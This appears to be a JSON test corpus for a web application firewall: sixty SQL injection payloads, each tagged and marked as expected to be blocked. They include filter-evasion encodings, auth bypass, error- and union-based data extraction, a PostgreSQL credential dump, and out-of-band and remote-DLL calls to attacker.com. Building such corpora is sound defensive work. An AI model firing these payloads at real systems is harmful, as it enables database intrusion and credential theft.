[
  {"id":"sqli-ev-001","payload":"' aNd 1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","case-variation"],"notes":"Random case AND","expected_block":true},
  {"id":"sqli-ev-002","payload":"'%20OR%201%3D1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","full-url-encode"],"notes":"Full URL encoded OR 1=1","expected_block":true},
  {"id":"sqli-ev-003","payload":"' OR/**/'1'='1","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","inline-comment"],"notes":"Comment as whitespace","expected_block":true},
  {"id":"sqli-ev-004","payload":"' %4fR 1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","partial-encode"],"notes":"Partial encoding OR keyword","expected_block":true},
  {"id":"sqli-ev-005","payload":"1'%0bOR%0b'1'='1","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","vtab"],"notes":"Vertical tab as separator","expected_block":true},
  {"id":"sqli-ev-006","payload":"1'%0cOR%0c'1'='1","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","formfeed"],"notes":"Form feed as separator","expected_block":true},
  {"id":"sqli-ev-007","payload":"1'%a0OR%a0'1'='1","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","nbsp"],"notes":"Non-breaking space separator","expected_block":true},
  {"id":"sqli-ev-008","payload":"' OR+1=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","plus-space"],"notes":"Plus sign as space","expected_block":true},
  {"id":"sqli-ev-009","payload":"'/**/UNION/**/ALL/**/SELECT/**/1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","inline-comment","union"],"notes":"Comments between all keywords","expected_block":true},
  {"id":"sqli-ev-010","payload":"'/**//*!UNION*//**//*!SELECT*//**/1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","nested-comment","mysql"],"notes":"MySQL nested executable comment","expected_block":true},
  {"id":"sqli-ev-011","payload":"' /*!00000UNION*/ /*!00000SELECT*/ 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","version-comment","mysql"],"notes":"Zero-version MySQL conditional","expected_block":true},
  {"id":"sqli-ev-012","payload":"' UNION%23%0aSELECT 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","hash-newline","mysql"],"notes":"Hash comment then newline bypass","expected_block":true},
  {"id":"sqli-ev-013","payload":"' UNION--%0aSELECT 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","dash-newline"],"notes":"Dash comment then newline","expected_block":true},
  {"id":"sqli-ev-014","payload":"' UNI%4fN SE%4cECT 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","partial-encode"],"notes":"Partial hex encode keywords","expected_block":true},
  {"id":"sqli-ev-015","payload":"' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","full-hex-encode"],"notes":"Full hex encoded UNION SELECT","expected_block":true},
  {"id":"sqli-ev-016","payload":"' UNION(SELECT(1),(2),(3))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","no-space","parenthesis"],"notes":"Parenthesis instead of spaces","expected_block":true},
  {"id":"sqli-ev-017","payload":"' OR 1.e0=1.e0--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","scientific-notation"],"notes":"Scientific notation comparison","expected_block":true},
  {"id":"sqli-ev-018","payload":"' OR 0x31=0x31--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","hex-literal"],"notes":"Hex literal comparison","expected_block":true},
  {"id":"sqli-ev-019","payload":"' OR 0b1=0b1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","binary-literal"],"notes":"Binary literal comparison","expected_block":true},
  {"id":"sqli-ev-020","payload":"' OR CHAR(49)=CHAR(49)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","char-function"],"notes":"CHAR() function comparison","expected_block":true},
  {"id":"sqli-ev-021","payload":"' OR 1<>2--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-operator"],"notes":"Not-equal operator bypass","expected_block":true},
  {"id":"sqli-ev-022","payload":"' OR 1!=2--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","alternative-operator"],"notes":"Bang-equal operator","expected_block":true},
  {"id":"sqli-ev-023","payload":"' UNION SELECT CHAR(117,115,101,114,110,97,109,101),2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","char-function","union"],"notes":"CHAR() encoded column name","expected_block":true},
  {"id":"sqli-ev-024","payload":"' AND 1=(SELECT 1 FROM/**/information_schema.tables)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","inline-comment"],"notes":"Comment before table name","expected_block":true},
  {"id":"sqli-ev-025","payload":"' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","join-bypass"],"notes":"JOIN instead of comma separation","expected_block":true},
  {"id":"sqli-ev-026","payload":"' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 1)c)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","join-bypass","enumeration"],"notes":"Nested JOIN for data extraction","expected_block":true},
  {"id":"sqli-ev-027","payload":"1' AND 1=(SELECT CASE WHEN 1=1 THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) AND '1'='1","category":"sqli","method":"GET","severity_hint":"high","tags":["evasion","case-when","no-comment"],"notes":"CASE WHEN boolean without comment","expected_block":true},
  {"id":"sqli-ev-028","payload":"' UNION%0D%0ASELECT%0D%0A1,2,3--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","crlf"],"notes":"CRLF between keywords","expected_block":true},
  {"id":"sqli-ev-029","payload":"'||UTL_HTTP.REQUEST('http://attacker.com/')--","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","oracle","oob"],"notes":"Oracle string concat OOB","expected_block":true},
  {"id":"sqli-ev-030","payload":"' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL UPDATEXML extraction","expected_block":true},
  {"id":"sqli-ev-031","payload":"' AND EXP(~(SELECT * FROM (SELECT user())a))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL EXP overflow extraction","expected_block":true},
  {"id":"sqli-ev-032","payload":"' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7e,version(),0x7e))s), 8446744073709551610, 8446744073709551610)))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL BIGINT overflow","expected_block":true},
  {"id":"sqli-ev-033","payload":"' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL geometry function error","expected_block":true},
  {"id":"sqli-ev-034","payload":"' AND POLYGON((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL POLYGON error extraction","expected_block":true},
  {"id":"sqli-ev-035","payload":"' AND LINESTRING((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL LINESTRING error","expected_block":true},
  {"id":"sqli-ev-036","payload":"' AND MULTIPOINT((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL MULTIPOINT error","expected_block":true},
  {"id":"sqli-ev-037","payload":"' AND MULTILINESTRING((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL MULTILINESTRING error","expected_block":true},
  {"id":"sqli-ev-038","payload":"' AND MULTIPOLYGON((SELECT * FROM (SELECT * FROM (SELECT@@version)f)g))--","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mysql","evasion"],"notes":"MySQL MULTIPOLYGON error","expected_block":true},
  {"id":"sqli-ev-039","payload":"' PROCEDURE ANALYSE()--","category":"sqli","method":"GET","severity_hint":"high","tags":["enumeration","mysql"],"notes":"MySQL PROCEDURE ANALYSE enum","expected_block":true},
  {"id":"sqli-ev-040","payload":"' UNION SELECT NULL,@@global.version_comment--","category":"sqli","method":"GET","severity_hint":"high","tags":["union","mysql","fingerprint"],"notes":"MySQL version comment variable","expected_block":true},
  {"id":"sqli-ev-041","payload":"' UNION SELECT NULL,@@innodb_version--","category":"sqli","method":"GET","severity_hint":"high","tags":["union","mysql","fingerprint"],"notes":"MySQL InnoDB version","expected_block":true},
  {"id":"sqli-ev-042","payload":"' OR 1=1#","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","mysql","hash-comment"],"notes":"MySQL hash comment termination","expected_block":true},
  {"id":"sqli-ev-043","payload":"admin'--","category":"sqli","method":"POST","severity_hint":"critical","tags":["auth-bypass"],"notes":"Login bypass admin user","expected_block":true},
  {"id":"sqli-ev-044","payload":"' OR ''='","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","empty-string"],"notes":"Empty string comparison bypass","expected_block":true},
  {"id":"sqli-ev-045","payload":"') OR ('x')=('x","category":"sqli","method":"GET","severity_hint":"critical","tags":["classic","paren-variant"],"notes":"Parenthesized OR variant","expected_block":true},
  {"id":"sqli-ev-046","payload":"'||(SELECT 1 WHERE 1=1)||'","category":"sqli","method":"GET","severity_hint":"critical","tags":["evasion","concat-operator"],"notes":"Concatenation operator bypass","expected_block":true},
  {"id":"sqli-ev-047","payload":"' AND SUBSTR(version(),1,1)=5 AND '","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","fingerprint","no-comment"],"notes":"PostgreSQL-style no trailing comment","expected_block":true},
  {"id":"sqli-ev-048","payload":"'+convert(int,@@version)+'","category":"sqli","method":"GET","severity_hint":"critical","tags":["error-based","mssql","evasion"],"notes":"MSSQL convert concat","expected_block":true},
  {"id":"sqli-ev-049","payload":"'+(SELECT TOP 1 CAST(name AS varchar(256)) FROM sysobjects WHERE xtype='U'FOR XML PATH(''))+'","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","mssql","xml"],"notes":"MSSQL FOR XML PATH extraction","expected_block":true},
  {"id":"sqli-ev-050","payload":"';WAITFOR DELAY '0:0:5'--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mssql"],"notes":"MSSQL WAITFOR time-based","expected_block":true},
  {"id":"sqli-ev-051","payload":"';IF (1=1) WAITFOR DELAY '0:0:5'--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mssql"],"notes":"MSSQL conditional WAITFOR","expected_block":true},
  {"id":"sqli-ev-052","payload":"' AND (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3)>0--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","mssql"],"notes":"MSSQL heavy query delay","expected_block":true},
  {"id":"sqli-ev-053","payload":"' UNION ALL SELECT NULL,NULL,NULL--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","column-enum"],"notes":"UNION ALL with NULLs","expected_block":true},
  {"id":"sqli-ev-054","payload":"' AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(1)</script>',table_name FROM information_schema.tables WHERE 2>1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","enumeration","xss"],"notes":"UNION with XSS in column","expected_block":true},
  {"id":"sqli-ev-055","payload":"' UNION SELECT banner FROM v WHERE ROWNUM=1--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","oracle","fingerprint"],"notes":"Oracle banner extraction","expected_block":true},
  {"id":"sqli-ev-056","payload":"' UNION SELECT NULL,usename||':'||passwd FROM pg_shadow--","category":"sqli","method":"GET","severity_hint":"critical","tags":["union","postgresql","credential-theft"],"notes":"PostgreSQL credential dump","expected_block":true},
  {"id":"sqli-ev-057","payload":"' AND (SELECT unicode(substr(username,1,1)) FROM users LIMIT 1)>64--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","sqlite","binary-search"],"notes":"SQLite unicode extraction","expected_block":true},
  {"id":"sqli-ev-058","payload":"' AND randomblob(100000000)--","category":"sqli","method":"GET","severity_hint":"high","tags":["blind","time-based","sqlite"],"notes":"SQLite heavy computation delay","expected_block":true},
  {"id":"sqli-ev-059","payload":"' UNION SELECT NULL,LOAD_EXTENSION('\\\\attacker.com\\s.dll')--","category":"sqli","method":"GET","severity_hint":"critical","tags":["rce","sqlite"],"notes":"SQLite LOAD_EXTENSION RCE","expected_block":true},
  {"id":"sqli-ev-060","payload":"true) OR (1=1","category":"sqli","method":"POST","severity_hint":"critical","tags":["evasion","json-context"],"notes":"JSON/API context injection","expected_block":true}
]